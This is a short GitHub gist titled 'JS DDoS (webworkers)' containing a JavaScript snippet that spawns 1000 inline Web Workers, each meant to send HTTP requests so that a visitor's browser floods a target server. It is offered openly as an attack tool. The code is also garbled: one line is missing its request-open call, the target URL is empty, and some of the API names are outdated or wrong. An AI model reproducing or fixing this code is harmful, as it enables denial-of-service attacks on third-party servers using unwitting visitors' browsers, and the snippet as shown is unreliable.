Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
JS DDoS (webworkers)
var blob = new BlobBuilder(); //BlobBuilder allows creating Web Workers from inline code instead of using external files
blob.append("onmessage = function(e) { c = new XMLHttpRequest();'GET','',true); c.send(); }");
var blob_url = window.createObjectURL(blob.getBlob()); //get blob url in order to start it
for(i=0;i<1000;i++) // let's roll
var worker = new Worker(blob_url);
worker.onmessage = function(e) { };
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment